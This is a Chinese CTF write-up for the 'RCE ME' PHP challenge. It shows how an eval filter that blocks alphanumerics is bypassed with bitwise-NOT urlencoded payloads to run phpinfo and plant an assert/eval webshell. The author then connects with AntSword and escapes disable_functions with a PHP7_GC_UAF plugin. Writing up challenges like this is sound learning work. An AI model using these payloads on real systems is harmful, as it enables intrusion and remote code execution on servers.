RCE ME

89 阅读1分钟

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第22天,点击查看活动详情

最近几天都没整理博客,有点忙,今晚趁闲下来,赶紧学点东西,最近也到期末周了,赶紧复习,线性代数,linux上面的 都赶紧要学习了,这个时候千万不能被情绪左右,学习第一! 今天看到我的docker笔记还没好好整理,在语雀上面乱七八糟的放着,期末考完试,再把它整理出来。 在这里插入图片描述

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

打开题目源码 代码审计 发现绕过有点难 百度人家用的都是urlencode编码 想用phpinfo读取源代码 构造取反读取phpinfo

<?php
$s = 'phpinfo';
echo urlencode(~$s);
#%8F%97%8F%96%91%99%90
?>

payload

?code=(~%8F%97%8F%96%91%99%90)();

在这里插入图片描述

pcntl_alarm,
pcntl_fork,
pcntl_waitpid,
pcntl_wait,
pcntl_wifexited,
pcntl_wifstopped,
pcntl_wifsignaled,
pcntl_wifcontinued,
pcntl_wexitstatus,
pcntl_wtermsig,
pcntl_wstopsig,
pcntl_signal,
pcntl_signal_get_handler,
pcntl_signal_dispatch,
pcntl_get_last_error,
pcntl_strerror,
pcntl_sigprocmask,
pcntl_sigwaitinfo,
pcntl_sigtimedwait,
pcntl_exec,
pcntl_getpriority,
pcntl_setpriority,
pcntl_async_signals,
system,
exec,
shell_exec,
popen,proc_open,
passthru,
symlink,
link,
syslog,
imap_open,ld,dl

构造shell连上蚁剑

<?php
error_reporting(0);

$a='assert';
$b=urlencode(~$a);
echo $b;

echo "<br>"
$c='(eval($_POST["test"]))';
$d=urlencode(~$c);

?>
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6);

然后通过蚁剑连接 在这里插入图片描述 但是发现文件不能读取 在这里插入图片描述 方法 通过蚁剑的一个插件 在这里插入图片描述 下载好后 在这里插入图片描述 选择PHP7_GC_UAF 然后会进入到一个终端界面 读取文件 在这里插入图片描述